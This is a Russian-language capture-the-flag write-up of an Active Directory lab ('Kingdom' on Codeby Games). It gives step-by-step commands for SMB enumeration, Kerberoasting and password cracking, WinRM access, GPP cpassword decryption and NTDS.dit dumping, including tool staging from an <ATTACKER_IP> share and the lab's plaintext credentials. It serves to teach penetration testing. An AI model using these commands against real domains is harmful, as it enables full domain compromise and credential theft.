Codeby Games "Kingdom" writeup by cherepawwka
Настало время пробежаться по основам атак на AD, и для примера я решил выбрать интересное задание с платформы Codeby Games: Королевство!
Разведка
Описание задания выглядит следующим образом:
Разведку начнём со сканирование портов, которое я осуществляю следующим скриптом:
#!/bin/bash ports=$(nmap -p- -Pn --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//) nmap -p$ports -Pn -A $1
Мы видим набор портов, характерных для контроллера домена. Отсюда же мы получаем имя домена, который собираемся атаковать.
Начнём изучение инфраструктуры со сканирования доступных SMB-шар. Делать мы это будем при помощи утилиты smbclient:
smbclient -L 192.168.2.4
Мы видим несколько стандартных шар, характерных для Windows в целом и для контроллера домена в частности, а также одну, которая сильно выделяется на фоне остальных.
Попробуем получить её содержимое:
smbclient //192.168.2.4/Docs smb: \> dir
Мы видим немало директорий. Скопируем содержимое директорий на атакующую машину. Сделать это можно следующим способом:
mkdir Shares cd Shares smbclient //192.168.2.4/Docs smb: \> recurse on smb: \> prompt off smb: \> mget *
Я заранее подготовил директорию Shares для организации рабочего пространства.
Пока файлы копируются, создадим файл с предполагаемыми пользователями домена:
Проверить валидных юзеров возможно при помощи инструмента Kerbrute:
kerbrute_linux_amd64 userenum -d codeby.cdb --dc 192.168.2.4 users.txt
Теперь вернёмся к SMB, и проверим, что же мы выкачали с шары:
Наибольшее внимание нас привлекает записка notes.txt, давайте изучим её содержимое:
Предположим, что мы наткнулись на не очень осведомленного в вопросах ИБ пользователя, который любит хранить пароли на записках. Что же, проверим, действительно ли мы имеем дело с паролем от учетной записи. Делать мы это будем при помощи фрэймворка crackmapexec, предустановленного в Kali:
Пароль верный, и мы получили первоначальный доступ!
Повышение привилегий
Учетная запись, которой мы владеем, не обладает какими-то выдающимися правами. Поэтому повышение привилегий мы начнем с... разведки!
Для разведки можно использовать несколько инстурментов, типа ldapsearch
, ldapdomaindump
, rpcclient
и т.п. Я же предпочту сетевой вариант коллектора для bloodhound. Установить и запустить его можно следующим образом:
pip install bloodhound bloodhound-python -u 'amaslova' -p 'NeverGiv3up' -ns 192.168.2.4 -d codeby.cdb -c all --zip
Сбор информации прошел успешно, следовательно, запустим BloodHound, загрузим туда собранный архив и начнем анализ информации:
neo4j start bloodhound
Здесь я не буду подробно останавливаться на всех возможностях и преднастроенных запросах BloodHound, о них вы можете чуть подробнее почитать в документации и моей прошлой статье из цикла разборов тасков на AD:
Заглянув во вкладку анализа, мы находим важную для дальнейшей эксплуатации информацию:
Таким образом, мы теоретически можем завладеть учетной записью [email protected], у которой есть права на подключение к контроллеру домену при помощи WinRM. А завладеть мы её можем из-за того, что эта учетная запись подвержена атаке Kerberoasting, про которую я также писал в вышеупомянутой статье.
Для получения TGS воспользуемся скриптом GetUserSPNs.py из набора impacket
impacket-GetUserSPNs -request -dc-ip 192.168.2.4 codeby.cdb/amaslova:'NeverGiv3up' -outputfile kerberoastable.txt
Мы получаем зашифрованный TGS, а также видим, что учетная запись dsemenov действительно подвержена атаке и состоит в группе Remote Management Users, что даёт ей право подключаться по WinRM. Для восстановления пароля из билета воспользуемся утилитой JtR:
john --wordlist=/usr/share/wordlists/rockyou.txt kerberoastable.txt
Атаку мы проводили по словарю rockyou.txt, в результате чего успешно смогли восстановить пароль учетной записи, позволяющей нам осуществить вход по WinRM на контроллер домена:
evil-winrm -u 'CODEBY\dsemenov' -p '!!!!ilovegood17' -i 192.168.2.4
Захват доменного администратора
Мы повысили привилегии в домене, но полученной информации и доступа, насколько мы знаем, пока недостаточно для полной компрометации домена.
Вектор повышения будем искать локально, для этого воспользуемся утилитой winPEAS. Для начала передадим его на хост. Хоть у машины есть прямой доступ в интернет, часто такой привилегии может и не быть, и скачать файл напрямую, да ещё с GitHub, который много где заблокирован, может быть проблематично. Поэтому для передачи файла я буду использовать impacket-smbserver, предварительно скачав winPEAS на атакующую машину:
impacket-smbserver -smb2support public binaries
Команда выше создает на нашем хосте SMB-сервер с поддержкой SMB2, на котором размещена шара public, которую мы маппим с директорией binaries на атакующем хосте.
Для копирования winPEAS на сервере достаточно просто воспользоваться встроенным функционалом операционной системы: \
copy \\<ATTACKER_IP>\public\winPEASany.exe
Теперь запускаем исполняемый файл и начинаем параллельный результатов:
После тщательного изучения вывода мы можем обратить внимания на занимательный результат в одной из проверок:
Мы видим 2 файла, а также фигурирующие в них логины и пароли. Если мы попытаемся прочитать один из них, например, C:\ProgramData\Microsoft\Group Policy\History\{E2BAD596-F796-4E2D-BE3D-37BAE6B1919D}\Machine\Preferences\Groups\Groups.xml
, то увидим следующее содержимое:
cpassword="oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80"
сильно отличается от результата, полученного в winPEAS. Чтобы осознать, что мы получили, обратимся к одноимённому разделу Hackticks.
Справка: кэшированный пароль GPP
До версии KB2928120 (см. MS14-025) некоторые Group Policy Preferences можно было настроить с помощью специальной учетной записи. Эта функция в основном использовалась для развертывания пользовательской учетной записи локального администратора на группе компьютеров. Однако при таком подходе было две проблемы.
1) Во-первых, поскольку объекты групповой политики хранятся в виде XML-файлов в SYSVOL, любой пользователь домена может их прочитать.
2) Во-вторых, пароль, установленный в этих GPP, зашифрован с помощью алгоритма AES256 с использованием ключа, который публично задокументирован.
Это означает, что любой прошедший проверку подлинности пользователь потенциально может получить доступ к конфиденциальным данным и повысить привилегии на своем компьютере или даже в домене.
Файлы, которые мы будем искать, расположены в следующих директориях и их субдиректориях:
- C:\ProgramData\Microsoft\Group Policy\History
- C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\History
Названия интересующих нас файлов:
Раз ключ известен и публично задокументирован, расшифровать cPassword можно следующими способами:
gpp-decrypt oAT8Ubf3hSXiLguywSw8PC4TYZ23Gv6UHMQ+RDY3i80 crackmapexec smb 192.168.2.4 -u 'amaslova' -p 'NeverGiv3up' -M gpp_autologin
Попробуем проверить эти способы:
К сожалению, CME результатов не дал, а вот gpp-decrypt успешно расшифровал пароль (оно и неудивительно).
Раз у нас есть пароль, подключимся на машину от имени администратора:
evil-winrm -u 'CODEBY\Administrator' -p 'Not_alon3' -i 192.168.2.4
В завершении атаки сдампим NTDS.dit, тем самым полностью скомпрометировав домен:
crackmapexec smb 192.168.2.4 -u Administrator -p Not_alon3 --ntds
На этом разбор этого задания завершён! Надеюсь, вы узнали для себя что-то новое.